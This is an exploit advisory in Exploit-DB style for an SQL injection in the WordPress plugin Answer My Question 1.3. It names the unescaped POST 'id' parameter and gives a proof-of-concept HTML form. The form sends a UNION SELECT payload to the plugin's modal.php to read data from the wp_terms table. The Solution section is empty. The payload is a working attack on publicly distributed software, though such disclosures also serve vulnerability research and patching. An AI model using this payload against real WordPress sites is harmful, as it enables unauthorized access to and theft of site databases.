WordPress Plugin Answer My Question 1.3 - SQL Injection

# Exploit Title: Answer My Question 1.3 Plugin for WordPress – Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/answer-my-question/
# Software Link: https://wordpress.org/plugins/answer-my-question/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3
# Tested on: Windows 8.1

1 - Description

$_POST['id'] is not escaped. Url is accessible for any user.

http://lenonleite.com.br/en/blog/2016/11/11/answer-my-question-1-3-plugin-for-wordpress-sql-injection/

2 - Proof of Concept

<form method="post" action="http://localhost:1406/wp/wp-content/plugins/answer-my-question/modal.php">
    <input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
    <input type="submit" value="Send">
</form>

3. Solution


-- 
Atenciosamente

Lenon Leite